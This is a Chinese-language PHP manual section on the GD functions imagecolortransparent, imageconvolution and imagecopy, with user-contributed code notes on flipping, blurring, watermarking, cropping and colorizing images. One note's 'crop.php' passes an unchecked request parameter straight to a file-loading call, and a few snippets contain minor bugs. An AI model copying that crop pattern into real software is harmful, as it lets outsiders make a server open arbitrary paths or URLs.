I have found that ImageColorTransparent() works on true color images if and only if the transparent color is black.
(PHP 4.2.3/GD 2.0)
marshall.AT.byterage.net
05-May-2002 10:50
In response to the note above...

ImageColorTransparent() does work on TrueColor images.  I have it working myself but I do remember having to add an extra step somewhere.  Anyways, here is how I overlay text on a jpeg.  Don't forget, you need GD 2.x for true color to work.  This example requires TTF support also.

//
// get src image and dimensions
$src_img = ImageCreateFromJPEG("foo.jpg");
$src_w = ImageSX($src_img);
$src_h = ImageSY($src_img);
//
// create empty true color canvas, def bg is black
$txt_img = ImageCreateTrueColor($src_w,$src_h);
//
// define colors
$white = ImageColorAllocate ($txt_img, 255, 255, 255);
$black = ImageColorAllocate ($txt_img, 0, 0, 0);
//
// add your white text
ImageTTFText ($txt_img, 80, 25, 65, 350, $white, "impact.ttf", "Kung Fu");
//
// make black bg transparent
ImageColorTransparent($txt_img, $black);
//
// merge text image onto src image
ImageCopyMerge($src_img,$txt_img,0,0,0,0,$src_w,$src_h,30); // 30% opacity

'Now' you can do resizing or whatever and output it.  You need to create yet another blank image to resample.  (Actually you can resize the image before the text overlay step with some small mods, but its REALLY messy if you want the output size to be dynamic)

//
// create empty true color canvas for resizing.
$dst_img = ImageCreateTrueColor(100,100);
//
// resize
ImageCopyResampled($dst_img,$src_img,0,0,0,0,100,100,$src_w,$src_h);
//
// output to browser.
ImageJPEG($dst_img,'',70);  // quality 70

If someone could tell me a shorter way to do this, that would be sweet.  The way it is now, it just feels like there is one too many steps to get this done.  But I am glad it works at all!
07-Dec-2001 11:18
when a color is defined as transparent, anytime that color is used in another function (before or after transparency definition) will be transparent

ex:
$red = ImageColorAllocate ($im, 233, 14, 91);
$blue = ImageColorAllocate ($im, 0x20, 0x60, 0xaa);
imagefilledarc ($im, 100, 100, 80, 80, 0, 60, $blue, IMG_ARC_PIE);//arc is transparent even though is not defined yet
$trans=imagecolortransparent($im,$blue);//affects all occurances of blue, before and after this line

ALSO:
ImageString ($im, 10, 5, 5,  "Transparent Text String", $blue);
---is equivalent to----
ImageString ($im, 10, 5, 5,  "Transparent Text String", $trans);
add a note add a note

后退 | 起点 | 前进
imagecolorstotal | 上一级 | imageconvolution


imageconvolution

(PHP 5 >= 5.1.0RC1)

imageconvolution -- 用系数 div 和 offset 申请一个 3x3 的卷积矩阵

说明

bool imageconvolution ( resource image, array matrix3x3, float div, float offset )

如果成功则返回 TRUE，失败则返回 FALSE。

警告

本函数暂无文档，仅有参数列表。

注: 本函数仅在 PHP 与其捆绑的 GD 库一起编译时可用。

add a note add a note User Contributed Notes
interghost at crovortex dot com
01-Apr-2006 03:26
an implementation of this function for PHP versions <5.1
<?php
if(!function_exists("imageconvolution"))
{
 function imageconvolution(&$img,$mat,$div,$off)
 {
   if(!imageistruecolor($img) || !is_array($mat) || count($mat)!=3 || count($mat[0])!=3 || count($mat[1])!=3 || count($mat[2])!=3) return FALSE;
   unset($bojainfo);
   for($nx=0;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=0;$ny<imagesy($img)-1;$ny++)
     {
       $rgb=imagecolorat($img,$nx,$ny);
       $bojainfo[$nx][$ny][r]=($rgb>>16)&0xFF;
       $bojainfo[$nx][$ny][g]=($rgb>>8)&0xFF;
       $bojainfo[$nx][$ny][b]=$rgb&0xFF;
     }
   }
   for($nx=1;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=1;$ny<imagesy($img)-1;$ny++)
     {
       $nr=$mat[0][0]*$bojainfo[$nx-1][$ny-1][r] + $mat[0][1]*$bojainfo[$nx][$ny-1][r] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][r] + $mat[1][0]*$bojainfo[$nx-1][$ny][r] + $mat[1][1]*$bojainfo[$nx][$ny][r] + $mat[1][2]*$bojainfo[$nx+1][$ny][r] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][r] + $mat[2][1]*$bojainfo[$nx][$ny+1][r] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][r];
       $nr=intval(round($nr/$div));
       if($nr<0) $nr=0;
       elseif($nr>255) $nr=255;
       $ng=$mat[0][0]*$bojainfo[$nx-1][$ny-1][g]  + $mat[0][1]*$bojainfo[$nx][$ny-1][g] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][g] + $mat[1][0]*$bojainfo[$nx-1][$ny][g] + $mat[1][1]*$bojainfo[$nx][$ny][g] + $mat[1][2]*$bojainfo[$nx+1][$ny][g] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][g] + $mat[2][1]*$bojainfo[$nx][$ny+1][g] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][g];
       $ng=intval(round($ng/$div));
       if($ng<0) $ng=0;
       elseif($ng>255) $ng=255;
       $nb=$mat[0][0]*$bojainfo[$nx-1][$ny-1][b] + $mat[0][1]*$bojainfo[$nx][$ny-1][b] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][b] + $mat[1][0]*$bojainfo[$nx-1][$ny][b] + $mat[1][1]*$bojainfo[$nx][$ny][b] + $mat[1][2]*$bojainfo[$nx+1][$ny][b] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][b] + $mat[2][1]*$bojainfo[$nx][$ny+1][b] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][b];
       $nb=intval(round($nb/$div));
       if($nb<0) $nb=0;
       elseif($nb>255) $nb=255;
       $nrgb=($nr<<16)+($ng<<8)+$nb;
       if(!imagesetpixel($img,$nx,$ny,$nrgb)) return FALSE;
     }
   }
   return TRUE;
  }
}
?>

it's a bit slowish so I wouldn't recommend big images, also offset is not implemented (don't know what it's suppose to do)
mlconnor at yahoo dot com
22-Mar-2006 01:00
I've seen many people come up with ways to do a drop shadow behind a rectangle such as a picture.  I haven't found one yet that was fast, PHP 4 complaint, and nice looking.  Here is one I came up with last night.  It takes an image, fills it with the background, and creates a blurred drop shadow at the specified coords using the colors and the distance offset specified.  It looks great!!!

  function blurRect(&$image, $distance, $rectX1, $rectY1, $rectX2, $rectY2, $shadowR, $shadowG, $shadowB, $backR, $backG, $backB) {

   $potentialOverlap = ($distance * 2) * ($distance * 2);

   $backgroundColor = imagecolorallocate($image, $backR, $backG, $backB);
   $shadowColor = imagecolorallocate($image, $shadowR, $shadowG, $shadowB);

   $imageWidth = imagesx($image);
   $imageHeight = imagesy($image);

   imageFilledRectangle($image, 0, 0, $imageWidth - 1, $imageHeight - 1, $backgroundColor);
   imageFilledRectangle($image, $rectX1, $rectY1, $rectX2, $rectY2, $shadowColor);

   for ( $pointX = $rectX1 - $distance; $pointX < $imageWidth; $pointX++ ) {
     for ( $pointY = $rectY1 - $distance; $pointY < $imageHeight; $pointY++ ) {

       if ( $pointX > $rectX1 + $distance &&
             $pointX < $rectX2 - $distance &&
             $pointY > $rectY1 + $distance &&
             $pointY < $rectY2 - $distance ) {
         $pointY = $rectY2 - $distance;
       }

       $boxX1 = $pointX - $distance;
       $boxY1 = $pointY - $distance;
       $boxX2 = $pointX + $distance;
       $boxY2 = $pointY + $distance;

       $xOverlap = max(0, min($boxX2, $rectX2) - max($boxX1, $rectX1));
       $yOverlap = max(0, min($boxY2, $rectY2) - max($boxY1, $rectY1));

       $totalOverlap = $xOverlap * $yOverlap;
       $shadowPcnt = $totalOverlap / $potentialOverlap;
       $backPcnt = 1.0 - $shadowPcnt;

       $newR = $shadowR * $shadowPcnt + $backR * $backPcnt;
       $newG = $shadowG * $shadowPcnt + $backG * $backPcnt;
       $newB = $shadowB * $shadowPcnt + $backB * $backPcnt;

       $newcol = imagecolorallocate($image, $newR, $newG, $newB);
       imagesetpixel($image, $pointX, $pointY, $newcol);
     }
   }
  }
jonathan dot aquino at gmail dot com
18-Jan-2006 01:30
For those who don't have PHP 5.1 and thus don't have imageconvolution, I found some code to do blurring: http://www.hudzilla.org/php/11_2_25.php  Works quite nicely.
dyer85 at gmail dot com
07-Jan-2006 06:24
Took me a while, but thanks to a couple of the user notes on the array_values PHP documentation page, I was able to come up with a way to dynamically compute the divisor.

I'm using PHP 5.1.0b2 on Win32 with the bundled GD library. When I try and use the imageconvolution function, whether normally, or via the functions below, the resulting image (I've only tried JPEGs and GIFs), always comes out far too bright, even when the divisor makes matrix sum equal to 1. The only thing that would reduce the brightness was to make the offset argument ridiculously large. So, I'm not sure if this effects anyone else.

Here are the functions with an example:

<?php
$im = imagecreatefromjpeg('path/to/pic.jpg');
$matrix = array(  array(5,5,5),
                   array(5,15,5),
                   array(5,5,5) );
makeFilter($im, $matrix);

header ( 'Content-Type: image/jpeg' );
imagejpeg($im);
imagedestroy($im);

/**
 * functions
 */
// This flattens the 3X3 array matrix, so we can get the sum of all the values
function array_flatten($array) {
   (array)$tempArray = array();

   foreach ( $array as $value ) {
       if ( is_array($value) ) {
           $tempArray = array_merge($tempArray, array_flatten($value));
       } else {
           $tempArray[] = $value;
       }
   }

   return $tempArray;
}

// Creates the divisor value dynamically, and passes offset
function makeFilter($resource, $matrix, $offset=1.0) {
   global $$resource;
   (float)$divisor = array_sum(array_flatten($matrix));
   return imageconvolution($resource, $matrix, $divisor, $offset) ? true : false;
}
?>
27-Oct-2005 08:32
The example below didn't provide a 3x3 matrix. Correctly, it's a multidimensional array.

<?php
   $matrix = array(    array( -1, -1, -1 ),
                       array( -1, 16, -1 ),
                       array( -1, -1, -1 ) );
?>
timeshifting at gmail dot com
25-Aug-2005 06:40
Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html
add a note add a note

后退 | 起点 | 前进
imagecolortransparent | 上一级 | imagecopy


imagecopy

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

imagecopy -- 拷贝图像的一部分

说明

bool imagecopy ( resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h )

将 src_im 图像中坐标从 src_x，src_y 开始，宽度为 src_w，高度为 src_h 的一部分拷贝到 dst_im 图像中坐标为 dst_x 和 dst_y 的位置上。

add a note add a note User Contributed Notes
administrador(ensaimada)sphoera(punt)com
03-May-2006 06:27
I've made a little function to wave images:

<?php
// So easy and nice!
function wave_region($img, $x, $y, $width, $height,$grade=5){
       for ($i=0;$i<$width;$i+=2){
           imagecopy($img,$img,
               $x+$i-2,$y+sin($i/10)*$grade,    //dest
               $x+$i,$y,            //src
               2,$height);
       }
   }
?>

More functions at http://www.sphoera.com
03-Apr-2006 01:21
Basic way to implement a "crop" feature : given an image (src), an offset (x, y) and a size (w, h).

crop.php :
<?php
$w=$_GET['w'];
$h=isset($_GET['h'])?$_GET['h']:$w;    // h est facultatif, =w par dfaut
$x=isset($_GET['x'])?$_GET['x']:0;    // x est facultatif, 0 par dfaut
$y=isset($_GET['y'])?$_GET['y']:0;    // y est facultatif, 0 par dfaut
$filename=$_GET['src'];
header('Content-type: image/jpg');
header('Content-Disposition: attachment; filename='.$src);
$image = imagecreatefromjpeg($filename);
$crop = imagecreatetruecolor($w,$h);
imagecopy ( $crop, $image, 0, 0, $x, $y, $w, $h );
imagejpeg($crop);
?>

Call it like this :

<img src="crop.php?x=10&y=20&w=30&h=40&src=photo.jpg">
admin at cvxdes dot com
24-Feb-2006 12:26
I used this to watermark images. This is the function I wrote:

<?php
function watermark($url,$logo){
   $bwidth  = imagesx($url);
   $bheight = imagesy($url);
   $lwidth  = imagesx($logo);
   $lheight = imagesy($logo);
   $src_x = $bwidth - ($lwidth + 5);
   $src_y = $bheight - ($lheight + 5);
   ImageAlphaBlending($url, true);
   ImageCopy($url,$logo,$src_x,$src_y,0,0,$lwidth,$lheight);
}
?>

Usage:
<?php
//$current_image would be your image the watermark is overlayed onto. Make sure it's imagecreatefrom*** to work.
watermark($current_image,$watermark_image);
?>

Hope this helps someone.
relsqui at chiliahedron dot com
11-Feb-2006 04:28
Here's an alternative image-flipping function which is simpler than either of the ones I've seen in the docs here. It takes the source image and the mode (zero for horizontal, nonzero for vertical) and returns the flipped image.

<?php
function imageflip($image, $mode) {
       $w = imagesx($image);
       $h = imagesy($image);
       $flipped = imagecreate($w, $h);
       if ($mode) {
               for ($y = 0; $y < $h; $y++) {
                       imagecopy($flipped, $image, 0, $y, 0, $h - $y - 1, $w, 1);
               }
       } else {
               for ($x = 0; $x < $w; $x++) {
                       imagecopy($flipped, $image, $x, 0, $w - $x - 1, 0, 1, $h);
               }
       }
       return $flipped;
}
?>
designerkamal at gmail dot com
10-Feb-2006 03:38
Skewing images in PHP...
<?php
function Skew($src, $dest, $skew_val)
{
  $imgsrc = imagecreatefromgif($src);
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);
  $imgdest = imagecreatetruecolor($width, $height+($height*$skew_val));
  $trans = imagecolorallocate($imgdest,0,0,0);
  $temp=0;
  for($x=0 ; $x<$width ; $x++)
   {
     for($y=0 ; $y<$height ; $y++)
   {
       imagecopy($imgdest, $imgsrc, $x, $y+$temp, $x, $y, 1, 1);
     imagecolortransparent($imgdest,$trans);

   }
   $temp+=$skew_val;
   }
  imagepng($imgdest, $dest);
  imagedestroy($imgsrc);
  imagedestroy($imgdest);
}
Skew("img.gif", "img2.png","1");
print "<img src='img.gif'>";
print "<br><br>";
print "<img src='img2.png'>";
?>
oryan at zareste dot com
15-Jan-2006 12:21
The source's palette is added to the destination's palette when merged, and when the destination already has 256 colors on it, the source image is altered to use those colors.  Truecolor images always take up 256 colors when merged with palette images, so if you're planning to add any additional images after doing so, you can use imagetruecolortopalette() on the truecolor image before merging it to reduce how much palette space it takes, and avoid losing colors in future merges to the same destination.  Example - imagetruecolortopalette($truecolorimg, FALSE, 128);
ragnar_40k at hotmail dot com
21-Nov-2005 07:17
Here a function to make holes into images:

// Set the alpha channel for a part of an image (it ignores the canvas alpha atm).
// $img_canvas - 32-bit true color image w/ alpha channel
// $img_mask - 8-bit gray scale image (white parts will be masked transparent in the canvas).
// This relies on the current pixel format:
// (high byte) -> (alpha channel} {red} {green} {blue} <- (low byte)
function mask($img_canvas, $img_mask, $dst_x, $dst_y)
{
   $old_blendmode = imagealphablending($img_canvas, FALSE);

   $width  = imagesx($img_mask);
   $heigth = imagesy($img_mask);

   $mask_x = 0;
   $x = $dst_y;
   while ($mask_x<$width)
   {
       $mask_y = 0;
       $y = $dst_y;
       while ($mask_y<$heigth)
       {
           imagesetpixel($img_canvas, $x, $y,
               ((imagecolorat($img_mask, $mask_x, $mask_y) >> 1) << 24) | (imagecolorat($img_canvas, $x, $y) & 0x00FFFFFF));

           ++$mask_y;
           ++$y;
       }
       ++$mask_x;
       ++$x;
   }

   imagealphablending($img_canvas, $old_blendmode);
}
johnny at netvor dot sk
21-Oct-2005 11:48
simple image combination srcipt, ie. if u want to create one  huuuge signature from more small ones

<?php
// config --
$src = array ("http://www.google.com/images/logo_sm.gif", "http://sk2.php.net/images/php.gif");
$under = 0;    // combine images underneath or not?
// -- end of config

$imgBuf = array ();
$maxW=0; $maxH=0;
foreach ($src as $link)
{
   switch(substr ($link,strrpos ($link,".")+1))
   {
       case 'png':
           $iTmp = imagecreatefrompng($link);
           break;
       case 'gif':
           $iTmp = imagecreatefromgif($link);
           break;
       case 'jpeg':
       case 'jpg':
           $iTmp = imagecreatefromjpeg($link);
           break;
   }

   if ($under)
   {
       $maxW=(imagesx($iTmp)>$maxW)?imagesx($iTmp):$maxW;
       $maxH+=imagesy($iTmp);
   }
   else
   {
       $maxW+=imagesx($iTmp);
       $maxH=(imagesy($iTmp)>$maxH)?imagesy($iTmp):$maxH;
   }

   array_push ($imgBuf,$iTmp);
}

$iOut = imagecreate ($maxW,$maxH) ;

$pos=0;
foreach ($imgBuf as $img)
{
   if ($under)
       imagecopy ($iOut,$img,0,$pos,0,0,imagesx($img),imagesy($img));
   else
       imagecopy ($iOut,$img,$pos,0,0,0,imagesx($img),imagesy($img));
   $pos+= $under ? imagesy($img) : imagesx($img);
   imagedestroy ($img);
}

imagegif($iOut);
?>
php dot net at businet dot dk
21-Sep-2005 04:48
An little addon to Borszczuk's great function.

I've added the imagealphablending, so it supports transperency prette nice! It worked with me (only tested with PNG files).

I'm not sure if the imagesavealpha($imgdest, true); should be added, but it works fine without! No problems so far...

Thanks Borszczuk! Great job...

The code with the addon:
<?php
  define("IMAGE_FLIP_HORIZONTAL",    1);
  define("IMAGE_FLIP_VERTICAL",    2);
  define("IMAGE_FLIP_BOTH",    3);

function ImageFlip($imgsrc, $type)
{
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);

  $imgdest = imagecreatetruecolor($width, $height);
   ImageAlphaBlending($imgdest, false);

  switch( $type )
     {
     // mirror wzgl. osi
     case IMAGE_FLIP_HORIZONTAL:
         for( $y=0 ; $y<$height ; $y++ )
             imagecopy($imgdest, $imgsrc, 0, $height-$y-1, 0, $y, $width, 1);
         break;

     case IMAGE_FLIP_VERTICAL:
         for( $x=0 ; $x<$width ; $x++ )
             imagecopy($imgdest, $imgsrc, $width-$x-1, 0, $x, 0, 1, $height);
         break;

     case IMAGE_FLIP_BOTH:
         for( $x=0 ; $x<$width ; $x++ )
             imagecopy($imgdest, $imgsrc, $width-$x-1, 0, $x, 0, 1, $height);

         $rowBuffer = imagecreatetruecolor($width, 1);
         for( $y=0 ; $y<($height/2) ; $y++ )
             {
             imagecopy($rowBuffer, $imgdest  , 0, 0, 0, $height-$y-1, $width, 1);
             imagecopy($imgdest  , $imgdest  , 0, $height-$y-1, 0, $y, $width, 1);
             imagecopy($imgdest  , $rowBuffer, 0, $y, 0, 0, $width, 1);
             }

         imagedestroy( $rowBuffer );
         break;
     }

  return( $imgdest );
}
?>
sawaz
03-Jul-2005 07:45
Just a little function that allows you to change the foreground color of a transparent gif or png.
It's supposed to use only two-color images, becouse it convert all the colors to the specified one.

It works with .gif or .png as source, but writes only .png

function ColorReplace( $url )
{
   # The new color and its channels
   $NEW_COLOR = "#FF66FF";
   $r = 0+("0x".substr( $NEW_COLOR, 1, 2));
   $g = 0+("0x".substr( $NEW_COLOR, 3, 2));
   $b = 0+("0x".substr( $NEW_COLOR, 5, 2));

   # I read the kind of file from the extension
   $tmp = pathinfo($url);
   $extension =$tmp['extension'];
   if( $extension == 'png' ) $oldIm = @imagecreatefrompng( $url );
   elseif( $extension == 'gif' ) $oldIm = @imagecreatefromgif( $url );

   # I replace EACH color in the palette with the new one
   for( $i=0; $i < imagecolorstotal( $oldIm ); $i++ )
       imagecolorset( $oldIm, $i, $r,$g,$b );

   # Output the file in png format : each color is now NEW COLOR
   # but transparency is preserved !!
   header("Content-type: image/png");
   imagepng($oldIm);
   imagedestroy($oldIm);
}
cla [at] emeraldion [dot] it
22-May-2005 02:09
I've written a handy function to add rounded corners to an image. All you need is four images (the corners) with alpha transparency, so they need to be PNGs. This code can be eventually reused to add corners of any kind, not necessarily to round an image. Corners can be of different sizes, as the actual dimension is calculated for each one of them.

function roundedimage($source, $destination) {
  // Retrieve image informations
  $info = getimagesize($source);

  // Load image from file
  switch ($info['mime']) {
   case 'image/jpeg' :
     $image = imagecreatefromjpeg($source);
     break;
   case 'image/png' :
     $image = imagecreatefrompng($source);
     break;
   case 'image/gif' :
     $image = imagecreatefromgif($source);
     break;
   default:
     return FALSE;
  }

  // Set the alphablending to on
  imagealphablending($image, true);

  // Get the size of the image
  $image_w = imagesx($image);
  $image_h = imagesy($image);

  // Overlay left top corner
  $crnimage_nw = imagecreatefrompng("crn_nw.png");
  $crnimage_nw_w = imagesx($crnimage_nw);
  $crnimage_nw_h = imagesy($crnimage_nw);

  imagecopy($image, $crnimage_nw, 0, 0, 0, 0,
     $crnimage_nw_w, $crnimage_nw_h);

  // Overlay right top corner
  $crnimage_ne = imagecreatefrompng("crn_ne.png");
  $crnimage_ne_w = imagesx($crnimage_ne);
  $crnimage_ne_h = imagesy($crnimage_ne);

  imagecopy($image, $crnimage_ne, $image_w - $crnimage_ne_w,
     0, 0, 0, $crnimage_ne_w, $crnimage_ne_h);

  // Overlay left bottom corner
  $crnimage_sw = imagecreatefrompng("crn_sw.png");
  $crnimage_sw_w = imagesx($crnimage_sw);
  $crnimage_sw_h = imagesy($crnimage_sw);

  imagecopy($image, $crnimage_sw, 0, $image_h - $crnimage_sw_h,
     0, 0, $crnimage_sw_w, $crnimage_sw_h);

  // Overlay right bottom corner
  $crnimage_se = imagecreatefrompng("crn_se.png");
  $crnimage_se_w = imagesx($crnimage_se);
  $crnimage_se_h = imagesy($crnimage_se);

  imagecopy($image, $crnimage_se, $image_w - $crnimage_se_w,
     $image_h - $crnimage_se_h, 0, 0, $crnimage_se_w,
     $crnimage_se_h);

  // Output to the original format
  switch ($info['mime']) {
   case 'image/jpeg' :
     // Quality is set to 100%, maybe you can pass it via a param
     imagejpeg($image, $destination, 100);
     break;
   case 'image/png' :
     imagepng($image, $destination);
     break;
   case 'image/gif' :
     imagegif($image, $destination);
     break;
  }

  // Cleanup
  imagedestroy($image);
  imagedestroy($crnimage_nw);
  imagedestroy($crnimage_ne);
  imagedestroy($crnimage_sw);
  imagedestroy($crnimage_se);
}
slavo at polovnictvo-mn dot sk
20-Mar-2005 08:25
<?

// ****  counting of width - START
// possible rating 0..5
$max_rating = 5;
$image_rating_width = 52;
$sirka_null = $image_rating_width / $max_rating * $_REQUEST['rating'];
// ****  counting of width sirky - END

$rating = imagecreatetruecolor(52,12);
$nula = imagecreatefromjpeg("0.jpg");
$full = imagecreatefromjpeg("5.jpg");
imagecopy($rating, $full, 0, 0 , 0, 0, $sirka_null, 12);
imagecopy($rating, $nula, $sirka_null, 0 , $sirka_null, 0, (52-$sirka_null+1), 12);
header("Content-Type: image/jpeg");
imagejpeg($rating);
imagedestroy($rating);
exit;
?>

0.jpg is equal in size to 5.jpg (foe example 5 stars in image)
0.jpg has 0 filled stars as rating
5.jpg has 5 filled stars as rating

my images have size 52x12 px

You just put them together by imagecopy function :-)
Borszczuk
05-Jan-2005 11:30
I got some comments to Mirror() function given below by lecoguic at yahoo dot fr. First, it's quite good example of coding-without-bit-of-design approach ;) Lecoguic loops by all pixels and copy it each by each. Not good. The *only* reason I could find this approach explained is that he wanted MIRROR_BOTH to be handled. So the code looks quite ok, but performs quite poor.  Below is much faster flipping function, blitting whole strips at once so it much more faster. $imgsrc is imagehandle. Function returns image handle to newly created flipped image.

   define("IMAGE_FLIP_HORIZONTAL",    1);
   define("IMAGE_FLIP_VERTICAL",    2);
   define("IMAGE_FLIP_BOTH",    3);

function ImageFlip($imgsrc, $type)
{
   $width = imagesx($imgsrc);
   $height = imagesy($imgsrc);

   $imgdest = imagecreatetruecolor($width, $height);

   switch( $type )
       {
       // mirror wzgl. osi
       case IMAGE_FLIP_HORIZONTAL:
           for( $y=0 ; $y<$height ; $y++ )
               imagecopy($imgdest, $imgsrc, 0, $height-$y-1, 0, $y, $width, 1);
           break;

       case IMAGE_FLIP_VERTICAL:
           for( $x=0 ; $x<$width ; $x++ )
               imagecopy($imgdest, $imgsrc, $width-$x-1, 0, $x, 0, 1, $height);
           break;

       case IMAGE_FLIP_BOTH:
           for( $x=0 ; $x<$width ; $x++ )
               imagecopy($imgdest, $imgsrc, $width-$x-1, 0, $x, 0, 1, $height);

           $rowBuffer = imagecreatetruecolor($width, 1);
           for( $y=0 ; $y<($height/2) ; $y++ )
               {
               imagecopy($rowBuffer, $imgdest  , 0, 0, 0, $height-$y-1, $width, 1);
               imagecopy($imgdest  , $imgdest  , 0, $height-$y-1, 0, $y, $width, 1);
               imagecopy($imgdest  , $rowBuffer, 0, $y, 0, 0, $width, 1);
               }

           imagedestroy( $rowBuffer );
           break;
       }

   return( $imgdest );
}
cod at crescentofdarkness dot cjb dot net
21-Dec-2004 01:45
This function will put a truecolor png with transparency over a custom color backgorund.

The image will be gracefully blended with the background color using the alpha channel for each color.

In real world we'd just mix foreground and backgorund colors looking at their percentages (i.e. 20% of background + 80% of foreground)
Here we have to calculate this for each r, g and b value of each color, and we have to use 127 instead of 100, because alpha channel goes from 0 to 127.

Try it on a color-to-transparent gradient!

<?php
function pngcolorizealpha($file, $color) {
/*
Function:    pngcolorizealpha
Author:    CoD (cod at crescentofdarkness dot cjb dot net)
Summary:    Blends a truecolor png image with a coloured background using alpha channel

Input:
--------------------------
$file - string - path to the png image
$color- string - color in hex notation, without the #

Output:
--------------------------
a png image

*/

// first of all let's convert the background color
$background = array(
     'red'  => hexdec(substr($color,0,2)),
     'green' => hexdec(substr($color,2,2)),
     'blue'  => hexdec(substr($color,4,2))
);

$im1 = imagecreatefrompng($file) or die('Cannot Initialize new GD image stream');
$im2 = imagecreatetruecolor(imagesx($im1), imagesy($im1));
$col1 = imagecolorallocate($im2, $background['red'], $background['green'], $background['blue']);

imagefill($im2,0,0,$col1);

// for each color in the original png
for ($i=0; $i< imagecolorstotal($im1); $i++) {

   // find r,g,b and alpha value
   $foreground = imagecolorsforindex($im1, $i);

   // blend fore and back colors using alpha value
   $r = (($foreground['red'] / 127) * (127 - $foreground['alpha'])) + (($background['red'] / 127)* $foreground['alpha']);
   $g = (($foreground['green'] / 127) * (127 - $foreground['alpha'])) + (($background['green'] / 127)* $foreground['alpha']);
   $b = (($foreground['blue'] / 127) * (127 - $foreground['alpha'])) + (($background['blue'] / 127)* $foreground['alpha']);

   // allocate this new color in the destination image
   imagecolorallocate($im2, $r,$g,$b);
}

imagecopy($im2, $im1, 0, 0, 0, 0, imagesx($im1), imagesy($im1));

header ("Content-type: image/png");
imagepng($im2);

imagedestroy($im1);
imagedestroy($im2);
}
?>
lecoguic at yahoo dot fr
30-May-2004 07:25
Here is a function to flip an image using imagecopy, just replace SRC_IMAGE and DEST_IMAGE with your own filename
(works only for jpg source image)

<?
define("MIRROR_HORIZONTAL", 1);
define("MIRROR_VERTICAL", 2);
define("MIRROR_BOTH", 3);

function Mirror($src, $dest, $type)
{
  $imgsrc = imagecreatefromjpeg($src);
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);
  $imgdest = imagecreatetruecolor($width, $height);

  for ($x=0 ; $x<$width ; $x++)
   {
     for ($y=0 ; $y<$height ; $y++)
   {
     if ($type == MIRROR_HORIZONTAL) imagecopy($imgdest, $imgsrc, $width-$x-1, $y, $x, $y, 1, 1);
     if ($type == MIRROR_VERTICAL) imagecopy($imgdest, $imgsrc, $x, $height-$y-1, $x, $y, 1, 1);
     if ($type == MIRROR_BOTH) imagecopy($imgdest, $imgsrc, $width-$x-1, $height-$y-1, $x, $y, 1, 1);
   }
   }

  imagejpeg($imgdest, $dest);

  imagedestroy($imgsrc);
  imagedestroy($imgdest);
}

Mirror(SRC_IMAGE, DEST_IMAGE, MIRROR_HORIZONTAL);

print "<img src='SRC_IMAGE'>";
print "<br><br>";
print "<img src='DEST_IMAGE'>";
?>
RT
09-May-2004 06:09
Although the following function doesn't use imagecopy(), I thought it might help in related tasks. Please see the code comments for details of it's operation. I made this function to assist in creating images using multiple "layers". For example if you wanted to dynamically create a logo image with seperate colors for say the logo itself and a glow around the logo, these steps would be followed:

-Using an image editor (like Photoshop), create a png-24 image with just the logo on a transparent background. The logo can be any color or multiple colors, but the final image created by this function will be of a single color.

-Create a similar image with just the glow (no logo)

-Create a background image

-Apply this colorize() function to the logo image and the glow image with your desired color for each.

-You can now use imagecopy() to merge all three into a single image ready for a browser.

Here's the code

<?php

/*======Colorize=====
(requires GD 2.0.1 or greater)
This function requires the following arguments:
 $src_path = A string representing the relative path to the src image. Ex: "images/myimage.png". This
   image must be a png-24 with an alpha channel.
 $dest_path = A string representing the relative path to the image to be created.
 $hex_color = A string representing a color in html format, including the # sign. Ex: "#D2E5FF"

This function examines the transparency of the source image, pixel by pixel, and creates a new
one-color image with this same "transparency map".
====================*/

function colorize($src_path, $dest_path, $hex_color) {

   //get the png-24 image - it must have an alpha channel for this funciton to be effective
   $src = imagecreatefrompng($src_path);

   //get width
   $w = imagesx($src);

   //get height
   $h = imagesy($src);

   //create same size destination image
   $dest = imagecreatetruecolor($w, $h);

   //this must be set to false in order to be able to overwright the defualt black pixels of the background with our new
   //transparent pixels. Otherwise our new pixel would just be applied on top of the black.
   imagealphablending($dest, false);

   //get decimal components of the passed hex color
   $red = hexdec(substr($hex_color, 1, 2));
   $green = hexdec(substr($hex_color, 3, 2));
   $blue = hexdec(substr($hex_color, 5, 2));

   for ($i = 0; $i < $h; $i++) { //this loop traverses each row in the image
       for ($j = 0; $j < $w; $j++) { //this loop traverses each pixel of each row

           //get the color & alpha info of the current pixel
           $retrieved_color = imagecolorat($src, $j, $i);

           //put this info into an array
           $rgba_array = imagecolorsforindex($src, $retrieved_color);

           //get the transparency of the pixel as a number from 0 (opaque) to 127 (transparent)
           $alpha = $rgba_array['alpha'];

           //allocate the color to paint. Note that we may continue to overwright this color since our image is not palleted
           $color_to_paint = imagecolorallocatealpha($dest, $red, $green, $blue, $alpha);

           //paint the pixel
           imagesetpixel($dest, $j, $i, $color_to_paint);

       }
   }

   //this allows the new transparency info to be saved with the image
   imagesavealpha($dest, true);

   //write the image to the destination file
   imagepng($dest, $dest_path);
}
?>
pmidden at gmx dot net
28-Sep-2003 12:47
I've found a convenient way to "blit" one image into another. Using the following Code you can copy one image into another, leaving out the pixels with the specified transparent color. I'm using PNG but by replacing all PNG functions by JPEG or GIF functions you are able to use those formats as well:

<?php
$background = imagecreatefrompng("background.png");
$insert = imagecreatefrompng("insert.png");

// Either a color at a specific point on the image
